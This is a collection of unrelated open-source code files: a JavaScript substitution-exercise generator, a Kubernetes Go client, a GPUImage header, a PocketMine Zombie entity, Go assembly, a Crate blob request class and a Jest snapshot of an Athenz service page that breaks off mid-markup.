while (true) {
a = L.getRndExp(1,1,3,vars,"");
if (L.free(x,a)) {
break;
}
}
}
}
}
}
// make sure that a and p are not identical
if (substCase !== '2b' && substCase !== '2c') {
while (L.printExp(a) === L.printExp(p)) {
a = L.getRndExp(1,1,3,vars,"");
}
}
return [substCase,a,p,B];
}
var Substitution1 = {
init: function () {
var vs = "xyz";
var minDepth = 4;
var maxDepth = 6;
var subst = pickExpressionSubcase(2, 4, vs, 0.05, 0.1, 0.2);
var substCase = (subst[0] !== "2a" && subst[0] !== "2b"
&& subst[0] !== "2c") ?
"This is not an instance of case 2" : subst[0];
var a = subst[1];
var p = subst[2];
var B = subst[3];
//var options = ["2a","2b","2c", "This is not an instance of case 2"];
this.substExpression = "subst( " + L.printExp(a) + ", " +
L.printExp(p) + ", " + L.printExp(B) + " )";
this.answer = substCase;
//options.splice(options.indexOf(substCase),1);
} // init function
};// Substitution1
window.Substitution1 = window.Substitution1 || Substitution1;
}());
| {
"pile_set_name": "Github"
} |
/*
Copyright The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package v1beta1
import (
v1beta1 "k8s.io/api/extensions/v1beta1"
serializer "k8s.io/apimachinery/pkg/runtime/serializer"
"k8s.io/client-go/kubernetes/scheme"
rest "k8s.io/client-go/rest"
)
type ExtensionsV1beta1Interface interface {
RESTClient() rest.Interface
DaemonSetsGetter
DeploymentsGetter
IngressesGetter
PodSecurityPoliciesGetter
ReplicaSetsGetter
ScalesGetter
}
// ExtensionsV1beta1Client is used to interact with features provided by the extensions group.
type ExtensionsV1beta1Client struct {
restClient rest.Interface
}
func (c *ExtensionsV1beta1Client) DaemonSets(namespace string) DaemonSetInterface {
return newDaemonSets(c, namespace)
}
func (c *ExtensionsV1beta1Client) Deployments(namespace string) DeploymentInterface {
return newDeployments(c, namespace)
}
func (c *ExtensionsV1beta1Client) Ingresses(namespace string) IngressInterface {
return newIngresses(c, namespace)
}
func (c *ExtensionsV1beta1Client) PodSecurityPolicies() PodSecurityPolicyInterface {
return newPodSecurityPolicies(c)
}
func (c *ExtensionsV1beta1Client) ReplicaSets(namespace string) ReplicaSetInterface {
return newReplicaSets(c, namespace)
}
func (c *ExtensionsV1beta1Client) Scales(namespace string) ScaleInterface {
return newScales(c, namespace)
}
// NewForConfig creates a new ExtensionsV1beta1Client for the given config.
func NewForConfig(c *rest.Config) (*ExtensionsV1beta1Client, error) {
config := *c
if err := setConfigDefaults(&config); err != nil {
return nil, err
}
client, err := rest.RESTClientFor(&config)
if err != nil {
return nil, err
}
return &ExtensionsV1beta1Client{client}, nil
}
// NewForConfigOrDie creates a new ExtensionsV1beta1Client for the given config and
// panics if there is an error in the config.
func NewForConfigOrDie(c *rest.Config) *ExtensionsV1beta1Client {
client, err := NewForConfig(c)
if err != nil {
panic(err)
}
return client
}
// New creates a new ExtensionsV1beta1Client for the given RESTClient.
func New(c rest.Interface) *ExtensionsV1beta1Client {
return &ExtensionsV1beta1Client{c}
}
func setConfigDefaults(config *rest.Config) error {
gv := v1beta1.SchemeGroupVersion
config.GroupVersion = &gv
config.APIPath = "/apis"
config.NegotiatedSerializer = serializer.DirectCodecFactory{CodecFactory: scheme.Codecs}
if config.UserAgent == "" {
config.UserAgent = rest.DefaultKubernetesUserAgent()
}
return nil
}
// RESTClient returns a RESTClient that is used to communicate
// with API server by this client implementation.
func (c *ExtensionsV1beta1Client) RESTClient() rest.Interface {
if c == nil {
return nil
}
return c.restClient
}
| {
"pile_set_name": "Github"
} |
#import "GPUImageTwoInputFilter.h"
// This is the feature extraction phase of the ColourFAST feature detector, as described in:
//
// A. Ensor and S. Hall. ColourFAST: GPU-based feature point detection and tracking on mobile devices. 28th International Conference of Image and Vision Computing, New Zealand, 2013, p. 124-129.
//
// Seth Hall, "GPU accelerated feature algorithms for mobile devices", PhD thesis, School of Computing and Mathematical Sciences, Auckland University of Technology 2014.
// http://aut.researchgateway.ac.nz/handle/10292/7991
@interface GPUImageColourFASTSamplingOperation : GPUImageTwoInputFilter
{
GLint texelWidthUniform, texelHeightUniform;
CGFloat texelWidth, texelHeight;
BOOL hasOverriddenImageSizeFactor;
}
// The texel width and height determines how far out to sample from this texel. By default, this is the normalized width of a pixel, but this can be overridden for different effects.
@property(readwrite, nonatomic) CGFloat texelWidth;
@property(readwrite, nonatomic) CGFloat texelHeight;
@end
| {
"pile_set_name": "Github"
} |
<?php
namespace pocketmine\entity;
use pocketmine\event\entity\EntityDamageByEntityEvent;
use pocketmine\item\Item as ItemItem;
use pocketmine\Player;
class Zombie extends Monster{
const NETWORK_ID = 32;
public $width = 1.031;
public $length = 0.891;
public $height = 2;
protected $exp_min = 5;
protected $exp_max = 5;
public function initEntity(){
$this->setMaxHealth(20);
parent::initEntity();
}
public function getName(){
return "Zombie";
}
public function spawnTo(Player $player){
$pk = $this->addEntityDataPacket($player);
$pk->type = self::NETWORK_ID;
$player->dataPacket($pk);
parent::spawnTo($player);
}
public function getDrops(){
$drops = [
ItemItem::get(ItemItem::ROTTEN_FLESH, 0, 1)
];
if($this->lastDamageCause instanceof EntityDamageByEntityEvent and $this->lastDamageCause->getEntity() instanceof Player){
if(mt_rand(0, 199) < 5){
switch(mt_rand(0, 2)){
case 0:
$drops[] = ItemItem::get(ItemItem::IRON_INGOT, 0, 1);
break;
case 1:
$drops[] = ItemItem::get(ItemItem::CARROT, 0, 1);
break;
case 2:
$drops[] = ItemItem::get(ItemItem::POTATO, 0, 1);
break;
}
}
}
if($this->lastDamageCause instanceof EntityDamageByEntityEvent and $this->lastDamageCause->getEntity() instanceof Creeper && $this->lastDamageCause->getEntity()->isPowered()){
$drops = [
ItemItem::get(ItemItem::SKULL, 2, 1)
];
}
return $drops;
}
}
| {
"pile_set_name": "Github"
} |
// +build !noasm,!wasm, !arm64
#include "textflag.h"
// divmod(a, b int) (q,r int)
TEXT ·divmod(SB),NOSPLIT,$0
MOVQ a+0(FP), SI
MOVQ b+8(FP), CX
MOVQ SI, AX
CMPQ CX, $-1
JEQ $1, denomIsOne // if denominator is 1, then jump to end
CQO
IDIVQ CX
MOVQ AX, q+16(FP)
MOVQ DX, r+24(FP)
bye:
RET
denomIsOne:
NEGQ AX
MOVQ AX, q+16(FP)
MOVQ $0, r+24(FP)
JMP bye
| {
"pile_set_name": "Github"
} |
/*
* Licensed to CRATE Technology GmbH ("Crate") under one or more contributor
* license agreements. See the NOTICE file distributed with this work for
* additional information regarding copyright ownership. Crate licenses
* this file to you under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License. You may
* obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*
* However, if you have executed another commercial license agreement
* with Crate these terms will supersede the license and you may use the
* software solely pursuant to the terms of the relevant commercial agreement.
*/
package io.crate.blob.pending_transfer;
import org.elasticsearch.common.io.stream.StreamInput;
import org.elasticsearch.common.io.stream.StreamOutput;
import org.elasticsearch.transport.TransportRequest;
import java.io.IOException;
import java.util.UUID;
public abstract class BlobTransportRequest extends TransportRequest{
public UUID transferId;
public String senderNodeId;
public BlobTransportRequest() {}
public BlobTransportRequest(String senderNodeId, UUID transferId) {
this.senderNodeId = senderNodeId;
this.transferId = transferId;
}
@Override
public void readFrom(StreamInput in) throws IOException {
super.readFrom(in);
senderNodeId = in.readString();
transferId = new UUID(in.readLong(), in.readLong());
}
@Override
public void writeTo(StreamOutput out) throws IOException {
super.writeTo(out);
out.writeString(senderNodeId);
out.writeLong(transferId.getMostSignificantBits());
out.writeLong(transferId.getLeastSignificantBits());
}
}
| {
"pile_set_name": "Github"
} |
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`ServicePage should render 1`] = `
.emotion-11 {
-webkit-align-items: center;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
background: #002339;
-webkit-backface-visibility: hidden;
backface-visibility: hidden;
box-sizing: border-box;
color: #fff;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-flex: 0 0 60px;
-ms-flex: 0 0 60px;
flex: 0 0 60px;
-webkit-flex-flow: row nowrap;
-ms-flex-flow: row nowrap;
flex-flow: row nowrap;
height: 60px;
-webkit-box-pack: start;
-webkit-justify-content: flex-start;
-ms-flex-pack: start;
justify-content: flex-start;
left: 0;
padding: 0 24px;
position: static;
right: 0;
top: 0;
z-index: 2;
}
.emotion-11.scrolled {
box-shadow: 0px 4px 8px rgba(0,0,0,0.16);
}
.emotion-11 .flush-right {
margin-left: auto;
}
.emotion-1 {
-webkit-align-items: center;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
box-sizing: border-box;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
height: 60px;
position: relative;
}
.emotion-1.simple {
color: #fff;
font-family: Helvetica,Arial,sans-serif;
font-size: 16px;
padding: 0 12px;
-webkit-transition: all 0.2s ease-in;
transition: all 0.2s ease-in;
}
.emotion-1.simple.nav-link {
cursor: pointer;
}
.emotion-1.simple.nav-link:hover {
color: rgba(255,255,255,0.75);
}
.emotion-1.simple.active {
box-shadow: inset 0 -4px 0 #3697f2;
}
.emotion-1.simple.nav-link.active:hover {
box-shadow: inset 0 -4px 0 rgba(54,151,242,0.75);
}
.emotion-1 .nav-title {
-webkit-align-items: center;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
color: #fff;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
font-family: Helvetica,Arial,sans-serif;
font-size: 16px;
height: 100%;
padding: 0 12px;
-webkit-transition: all 0.2s ease-in;
transition: all 0.2s ease-in;
}
.emotion-1.nav-link .nav-title {
cursor: pointer;
}
.emotion-1.active .nav-title,
.emotion-1 .active.nav-title {
box-shadow: inset 0 -4px 0 #3697f2;
}
.emotion-1 .nav-title:hover {
color: rgba(255,255,255,0.75);
}
.emotion-1.nav-link.active .nav-title:hover,
.emotion-1.nav-link .active.nav-title:hover {
box-shadow: inset 0 -4px 0 rgba(54,151,242,0.75);
}
.emotion-1 img.nav-logo {
-webkit-align-items: center;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
height: 34px;
}
.emotion-1 .nav-icon,
.emotion-1:hover .nav-icon {
width: 24px;
height: 24px;
}
.emotion-1 .nav-icon path,
.emotion-1:hover .nav-icon path,
.emotion-1 .nav-icon ellipse,
.emotion-1:hover .nav-icon ellipse,
.emotion-1 .nav-icon rect,
.emotion-1:hover .nav-icon rect,
.emotion-1 .nav-icon circle,
.emotion-1:hover .nav-icon circle {
fill: #fff;
-webkit-transition: all 0.2s ease-in;
transition: all 0.2s ease-in;
}
.emotion-1.nav-link:hover .nav-icon path,
.emotion-1.nav-link:hover .nav-icon ellipse,
.emotion-1.nav-link:hover .nav-icon rect,
.emotion-1.nav-link:hover .nav-icon circle {
fill: rgba(255,255,255,0.75);
}
.emotion-4 {
-webkit-align-items: center;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
box-sizing: border-box;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
height: 60px;
position: relative;
width: 100%;
}
.emotion-4.simple {
color: #fff;
font-family: Helvetica,Arial,sans-serif;
font-size: 16px;
padding: 0 12px;
-webkit-transition: all 0.2s ease-in;
transition: all 0.2s ease-in;
}
.emotion-4.simple.nav-link {
cursor: pointer;
}
.emotion-4.simple.nav-link:hover {
color: rgba(255,255,255,0.75);
}
.emotion-4.simple.active {
box-shadow: inset 0 -4px 0 #3697f2;
}
.emotion-4.simple.nav-link.active:hover {
box-shadow: inset 0 -4px 0 rgba(54,151,242,0.75);
}
.emotion-4 .nav-title {
-webkit-align-items: center;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
color: #fff;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
font-family: Helvetica,Arial,sans-serif;
font-size: 16px;
height: 100%;
padding: 0 12px;
-webkit-transition: all 0.2s ease-in;
transition: all 0.2s ease-in;
}
.emotion-4.nav-link .nav-title {
cursor: pointer;
}
.emotion-4.active .nav-title,
.emotion-4 .active.nav-title {
box-shadow: inset 0 -4px 0 #3697f2;
}
.emotion-4 .nav-title:hover {
color: rgba(255,255,255,0.75);
}
.emotion-4.nav-link.active .nav-title:hover,
.emotion-4.nav-link .active.nav-title:hover {
box-shadow: inset 0 -4px 0 rgba(54,151,242,0.75);
}
.emotion-4 img.nav-logo {
-webkit-align-items: center;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
height: 34px;
}
.emotion-4 .nav-icon,
.emotion-4:hover .nav-icon {
width: 24px;
height: 24px;
}
.emotion-4 .nav-icon path,
.emotion-4:hover .nav-icon path,
.emotion-4 .nav-icon ellipse,
.emotion-4:hover .nav-icon ellipse,
.emotion-4 .nav-icon rect,
.emotion-4:hover .nav-icon rect,
.emotion-4 .nav-icon circle,
.emotion-4:hover .nav-icon circle {
fill: #fff;
-webkit-transition: all 0.2s ease-in;
transition: all 0.2s ease-in;
}
.emotion-4.nav-link:hover .nav-icon path,
.emotion-4.nav-link:hover .nav-icon ellipse,
.emotion-4.nav-link:hover .nav-icon rect,
.emotion-4.nav-link:hover .nav-icon circle {
fill: rgba(255,255,255,0.75);
}
.emotion-3 {
box-sizing: border-box;
display: -webkit-inline-box;
display: -webkit-inline-flex;
display: -ms-inline-flexbox;
display: inline-flex;
-webkit-flex-flow: row nowrap;
-ms-flex-flow: row nowrap;
flex-flow: row nowrap;
font-family: Helvetica,Arial,sans-serif;
font-size: 14px;
font-weight: 300;
position: relative;
width: 100%;
}
.emotion-3 input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: rgba(53,112,244,0.05);
border-top: 2px solid transparent;
border-bottom: 2px solid transparent;
border-right: transparent;
border-left: transparent;
border-radius: 2px;
box-shadow: none;
box-sizing: border-box;
color: #303030;
-webkit-flex: 1 0 auto;
-ms-flex: 1 0 auto;
flex: 1 0 auto;
font: inherit;
height: 36px;
margin: 0;
outline: none;
padding: 0 1rem;
text-align: left;
width: 100%;
}
.emotion-3.animated input {
-webkit-transition: background-color 0.2s ease-in-out,color 0.2s ease-in-out, border 0.2s ease-in-out;
transition: background-color 0.2s ease-in-out,color 0.2s ease-in-out, border 0.2s ease-in-out;
}
.emotion-3 input::-webkit-input-placeholder {
color: rgba(48,48,48,0.6);
}
.emotion-3 input::-moz-placeholder {
color: rgba(48,48,48,0.6);
}
.emotion-3 input:-ms-input-placeholder {
color: rgba(48,48,48,0.6);
}
.emotion-3 input::placeholder {
color: rgba(48,48,48,0.6);
}
.emotion-3 input.focused,
.emotion-3 input:active,
.emotion-3 input:focus {
background: rgba(53,112,244,0.05);
border-bottom: 2px solid #3570f4;
color: #303030;
}
.emotion-3 input:invalid {
background: rgba(53,112,244,0.05);
border-bottom: 2px solid #d01111;
color: #303030;
}
.emotion-3 .message {
font-size: 12px;
left: 0;
line-height: 1.8;
position: absolute;
top: 2.571rem;
}
.emotion-3.error input,
.emotion-3.error input.focused,
.emotion-3.error input:active,
.emotion-3.error input:focus {
border-bottom: 2px solid #d01111;
}
.emotion-3.error .message {
color: #d01111;
}
.emotion-3 input {
background: rgba(242,242,242,0.1);
color: #fff;
}
.emotion-3 input::-webkit-input-placeholder {
color: rgba(255,255,255,0.6);
}
.emotion-3 input::-moz-placeholder {
color: rgba(255,255,255,0.6);
}
.emotion-3 input:-ms-input-placeholder {
color: rgba(255,255,255,0.6);
}
.emotion-3 input::placeholder {
color: rgba(255,255,255,0.6);
}
.emotion-3 input.focused,
.emotion-3 input:active,
.emotion-3 input:focus {
background: rgba(242,242,242,0.1);
border-bottom: 2px solid #3570f4;
color: #fff;
}
.emotion-3 input {
padding-right: 36px;
}
.emotion-3 .input-icon {
-webkit-align-items: center;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
height: 36px;
position: absolute;
right: 6px;
}
.emotion-2 {
fill: #3570f4;
cursor: inherit;
vertical-align: text-bottom;
}
.emotion-6 {
fill: #fff;
cursor: pointer;
vertical-align: text-bottom;
}
.emotion-29 {
border: none;
border-radius: 2px;
box-shadow: 0 0 0 1px transparent inset,0 0 0 0 #d5d5d5 inset;
box-sizing: border-box;
cursor: pointer;
display: inline-block;
font-family: Helvetica,Arial,sans-serif;
font-weight: 300;
font-size: 14px;
line-height: 1;
margin: 5px;
outline: 0;
padding: 10px 24px;
text-align: center;
text-shadow: none;
text-transform: none;
-webkit-transition: all 0.2s ease-in;
transition: all 0.2s ease-in;
vertical-align: baseline;
white-space: nowrap;
background: transparent;
box-shadow: 0 0 0 1px #3697f2 inset;
color: #3697f2;
}
.emotion-29:first-of-type {
margin-left: 0;
}
.emotion-29:disabled {
background: rgba(48,48,48,0.1);
color: rgba(48,48,48,0.2);
cursor: not-allowed;
}
.emotion-29:disabled {
box-shadow: 0 0 0 1px rgba(48,48,48,0.1) inset;
}
.emotion-29:hover:not(:disabled) {
background: #d7e2fd;
}
.emotion-38 {
-webkit-align-items: stretch;
-webkit-box-align: stretch;
-ms-flex-align: stretch;
align-items: stretch;
background: #f5f8fe;
border-radius: 2px;
box-sizing: border-box;
display: inline-grid;
grid-template-columns: repeat(5,1fr);
margin-top: 0;
min-width: 80px;
position: relative;
}
.emotion-38.vertical {
background: #f5f8fe;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
height: 100%;
min-width: 300px;
overflow-y: scroll;
padding: 12px 0px 40px 0px;
width: 300px;
}
.emotion-33 {
font-family: Helvetica,Arial,sans-serif;
font-size: 14px;
font-weight: 300;
-webkit-align-items: center;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
background: #f5f8fe;
color: #3697f2;
cursor: pointer;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-box-pack: center;
-webkit-justify-content: center;
-ms-flex-pack: center;
justify-content: center;
padding: 8px 20px;
white-space: nowrap;
z-index: 1;
}
.emotion-33:hover {
color: #3570f4;
}
.emotion-33.active {
background: #fff;
border-top-left-radius: 2px;
border-top-right-radius: 2px;
color: #303030;
cursor: initial;
}
.emotion-33.active:hover {
color: #303030;
}
.emotion-33.vertical {
background: #f5f8fe;
border-left: solid 4px #f5f8fe;
height: 24px;
-webkit-box-pack: start;
-webkit-justify-content: flex-start;
-ms-flex-pack: start;
justify-content: flex-start;
padding: 12px 0px 12px 26px;
text-align: left;
}
.emotion-33.vertical.active {
background: #fff;
border-left: solid 4px #3697f2;
color: #303030;
}
.emotion-33.vertical.active:hover {
color: #303030;
}
.emotion-49 {
fill: #188fff;
cursor: pointer;
vertical-align: text-bottom;
}
.emotion-67 {
fill: #303030;
cursor: inherit;
vertical-align: text-bottom;
}
.emotion-74 {
fill: #303030;
cursor: inherit;
vertical-align: baseline;
}
.emotion-12 {
height: 60px;
position: relative;
}
.emotion-0 {
height: 36px;
cursor: pointer;
}
.emotion-5 {
margin-left: 10%;
width: 50%;
}
.emotion-9 {
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
}
.emotion-8 {
margin-left: 15px;
}
.emotion-85 {
-webkit-flex: 1 1 calc(100vh - 60px);
-ms-flex: 1 1 calc(100vh - 60px);
flex: 1 1 calc(100vh - 60px);
overflow: hidden;
font: 300 14px HelveticaNeue-Reg,Helvetica,Arial,sans-serif;
}
.emotion-84 {
-webkit-align-items: stretch;
-webkit-box-align: stretch;
-ms-flex-align: stretch;
align-items: stretch;
-webkit-flex-flow: row nowrap;
-ms-flex-flow: row nowrap;
flex-flow: row nowrap;
height: 100%;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-box-pack: start;
-webkit-justify-content: flex-start;
-ms-flex-pack: start;
justify-content: flex-start;
}
.emotion-66 {
-webkit-align-items: stretch;
-webkit-box-align: stretch;
-ms-flex-align: stretch;
align-items: stretch;
-webkit-flex: 1 1;
-ms-flex: 1 1;
flex: 1 1;
height: calc(100vh - 60px);
overflow: auto;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
}
.emotion-39 {
background: linear-gradient(to top,#f2f2f2,#fff);
padding: 20px 30px 0;
}
.emotion-13 {
font: 600 20px HelveticaNeue-Reg,Helvetica,Arial,sans-serif;
margin-bottom: 10px;
}
.emotion-32 {
margin: 20px 0;
}
.emotion-31 {
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-flex-flow: row nowrap;
-ms-flex-flow: row nowrap;
flex-flow: row nowrap;
}
.emotion-16 {
padding-right: 50px;
}
.emotion-14 {
font-weight: 600;
}
.emotion-15 {
color: #9a9a9a;
font-size: 12px;
text-transform: uppercase;
}
.emotion-64 {
margin: 20px;
}
.emotion-41 {
padding-bottom: 20px;
}
.emotion-40 {
color: #3570f4;
-webkit-text-decoration: none;
text-decoration: none;
cursor: pointer;
}
.emotion-63 {
width: 100%;
border-spacing: 0;
display: table;
border-collapse: separate;
border-color: #9a9a9a;
}
.emotion-42 {
text-align: left;
border-bottom: 2px solid #d5d5d5;
color: #9a9a9a;
font-weight: 600;
font-size: 0.8rem;
padding-bottom: 5px;
vertical-align: top;
text-transform: uppercase;
padding: 5px 0 5px 15px;
word-break: break-all;
}
.emotion-44 {
text-align: center;
border-bottom: 2px solid #d5d5d5;
color: #9a9a9a;
font-weight: 600;
font-size: 0.8rem;
padding-bottom: 5px;
vertical-align: top;
text-transform: uppercase;
padding: 5px 0 5px 15px;
word-break: break-all;
}
.emotion-47 {
background-color: #3570f40D;
text-align: left;
padding: 5px 0 5px 15px;
vertical-align: middle;
word-break: break-all;
}
.emotion-50 {
background-color: #3570f40D;
text-align: center;
padding: 5px 0 5px 15px;
vertical-align: middle;
word-break: break-all;
}
.emotion-55 {
text-align: left;
padding: 5px 0 5px 15px;
vertical-align: middle;
word-break: break-all;
}
.emotion-58 {
text-align: center;
padding: 5px 0 5px 15px;
vertical-align: middle;
word-break: break-all;
}
.emotion-68 {
-webkit-align-items: center;
-webkit-box-align: center;
-ms-flex-align: center;
align-items: center;
background-color: #fff;
border-bottom: 1px solid #d5d5d5;
border-left: 1px solid #d5d5d5;
border-top: 1px solid #d5d5d5;
cursor: pointer;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
height: 20px;
-webkit-box-pack: center;
-webkit-justify-content: center;
-ms-flex-pack: center;
justify-content: center;
margin-left: -21px;
margin-top: 20px;
position: absolute;
text-align: center;
width: 20px;
}
.emotion-83 {
margin-right: 0;
border-left: 1px solid #d5d5d5;
-webkit-flex: 0 0 350px;
-ms-flex: 0 0 350px;
flex: 0 0 350px;
height: calc(100vh - 60px);
overflow: auto;
-webkit-transition: margin 0.4s ease-in-out;
transition: margin 0.4s ease-in-out;
display: block;
min-width: 350px;
width: 350px;
}
.emotion-73 {
-webkit-align-items: baseline;
-webkit-box-align: baseline;
-ms-flex-align: baseline;
align-items: baseline;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
-webkit-flex-flow: row nowrap;
-ms-flex-flow: row nowrap;
flex-flow: row nowrap;
-webkit-box-pack: justify;
-webkit-justify-content: space-between;
-ms-flex-pack: justify;
justify-content: space-between;
padding: 20px 30px 20px 15px;
}
.emotion-69 {
font-size: 16px;
font-weight: 600;
}
.emotion-70 {
color: #3570f4;
-webkit-text-decoration: none;
text-decoration: none;
cursor: pointer;
}
.emotion-71 {
padding: 0 5px;
color: #d5d5d5;
}
.emotion-82 {
padding: 0 30px 0 15px;
}
.emotion-77 {
padding: 10px 0;
display: -webkit-box;
display: -webkit-flex;
display: -ms-flexbox;
display: flex;
}
.emotion-75 {
font-size: 1.25em;
margin-right: 5px;
}
<div
data-testid="service"
>
<div
class="emotion-12"
data-testid="header"
>
<div
class="emotion-11 denali-navbar"
data-testid="navbar"
>
<div
class="emotion-1 simple denali-navbar-item"
data-testid="navbar-item"
>
<a
href="/"
>
<img
class="emotion-0"
src="/static/athenz-logo-full.png"
/>
</a>
</div>
<div
class="emotion-5"
>
<div
class="emotion-4 simple denali-navbar-item"
data-testid="navbar-item"
>
<div
class="emotion-3 denali-input animated"
data-testid="input-wrapper"
>
<input
autocomplete="off"
data-testid="input-node"
name="search"
placeholder="Enter domain name"
value=""
/>
<div
class="input-icon"
>
<svg
class="emotion-2"
data-testid="icon"
height="24px"
viewBox="0 0 1024 1024"
width="24px"
>
<title>
search
</title>
<path
d="M659.413 599.68c40.125-53.054 64.27-120.136 64.27-192.857 0-177.556-143.937-321.493-321.493-321.493s-321.493 143.937-321.493 321.493c0 177.556 143.937 321.493 321.493 321.493 74.297 0 142.708-25.203 197.149-67.525l-0.726 0.543 267.307 264.96c7.723 7.731 18.396 12.514 30.187 12.514s22.464-4.782 30.186-12.513l0-0c7.795-7.733 12.621-18.45 12.621-30.293s-4.826-22.56-12.618-30.291l-0.003-0.003zM444.8 637.227c-11.829 2.113-25.446 3.322-39.345 3.322-129.603 0-234.667-105.064-234.667-234.667s105.064-234.667 234.667-234.667c129.603 0 234.667 105.064 234.667 234.667 0 13.899-1.208 27.516-3.526 40.752l0.204-1.407c-17.178 98.349-93.651 174.822-190.593 191.796l-1.407 0.204z"
/>
</svg>
</div>
<div
class="message"
data-testid="message"
/>
</div>
</div>
</div>
<div
class="emotion-1 simple flush-right denali-navbar-item"
data-testid="navbar-item"
>
<div
class="emotion-9"
data-testid="header-menu"
>
<svg
class="emotion-6"
data-testid="icon"
height="25px"
viewBox="0 0 1024 1024"
width="25px"
>
<title>
notification
</title>
<path
d="M925.867 627.2l-68.267-68.267c-15.132-16.256-24.706-37.864-25.595-61.692l-0.005-0.174v-134.4c0-172.8-115.2-320-320-320s-320 142.933-320 320v149.333c-0.424 14.075-6.029 26.765-14.962 36.297l0.028-0.030-78.933 78.933c-7.763 7.612-12.628 18.155-12.8 29.835l-0 0.032v153.6c0 23.564 19.103 42.667 42.667 42.667v0h236.8c12.454 70.953 73.611 124.182 147.2 124.182s134.746-53.229 147.069-123.285l0.131-0.897h236.8c23.564 0 42.667-19.103 42.667-42.667v0-153.6c-0.172-11.712-5.037-22.255-12.793-29.86l-0.007-0.007zM853.333 768h-682.667v-91.733l66.133-68.267c24.782-24.511 40.224-58.423 40.533-95.941l0-0.059v-149.333c0-113.067 61.867-234.667 234.667-234.667s234.667 125.867 234.667 234.667v134.4c0.879 47.11 19.381 89.736 49.168 121.71l-0.102-0.11 57.6 57.6z"
/>
</svg>
<div
class="emotion-8"
>
<svg
class="emotion-6"
data-testid="icon"
height="25px"
viewBox="0 0 1024 1024"
width="25px"
>
<title>
help-circle
</title>
<path
d="M512 42.667c-259.206 0-469.333 210.128-469.333 469.333s210.128 469.333 469.333 469.333c259.206 0 469.333-210.128 469.333-469.333v0c0-259.206-210.128-469.333-469.333-469.333v0zM512 896c-212.077 0-384-171.923-384-384s171.923-384 384-384c212.077 0 384 171.923 384 384v0c0 212.077-171.923 384-384 384v0z"
/>
<path
d="M554.667 768c0 23.564-19.103 42.667-42.667 42.667s-42.667-19.103-42.667-42.667c0-23.564 19.103-42.667 42.667-42.667s42.667 19.103 42.667 42.667z"
/>
<path
d="M549.333 219.52c-11.244-2.339-24.166-3.678-37.4-3.678-71.49 0-133.854 39.072-166.904 97.027l-0.496 0.945c-3.783 6.395-6.018 14.093-6.018 22.313 0 14.468 6.924 27.319 17.64 35.419l0.112 0.081c6.829 4.846 15.334 7.747 24.517 7.747 15.995 0 29.934-8.801 37.239-21.826l0.111-0.215c12.111-22.947 31.869-40.492 55.815-49.471l0.718-0.236c98.133-33.707 187.52 72.32 120.96 170.667-16.346 22.524-42.587 37.002-72.21 37.002-4.025 0-7.988-0.267-11.871-0.785l0.455 0.050c-1.281-0.156-2.763-0.245-4.267-0.245s-2.986 0.089-4.443 0.262l0.176-0.017c-19.477 4.079-33.927 21.016-34.133 41.364l-0 0.022s0 0 0 1.28v82.773c-0.004 0.232-0.007 0.505-0.007 0.78 0 21.42 15.032 39.329 35.123 43.752l0.297 0.055c2.182 0.396 4.694 0.622 7.258 0.622 23.564 0 42.667-19.103 42.667-42.667 0-0.219-0.002-0.437-0.005-0.655l0 0.033v-31.147c0.196-9.48 6.547-17.425 15.209-20.015l0.151-0.039c78.046-25.561 133.424-97.737 133.424-182.847 0-92.861-65.924-170.325-153.523-188.144l-1.234-0.21z"
/>
</svg>
</div>
</div>
</div>
</div>
</div>
<div
class="emotion-85"
>
<div
class="emotion-84"
>
<div
class="emotion-66"
>
<div
class="emotion-65"
>
<div
class="emotion-39"
>
<div
class="emotion-13"
>
home.pgote
</div>
<div
class="emotion-32"
data-testid="domain-details"
>
<div
class="emotion-31"
>
<div
class="emotion-16"
>
<div
class="emotion-14"
>
2020-01-24 18:14 UTC
</div>
<div
class="emotion-15"
>
MODIFIED DATE
</div>
</div>
<div
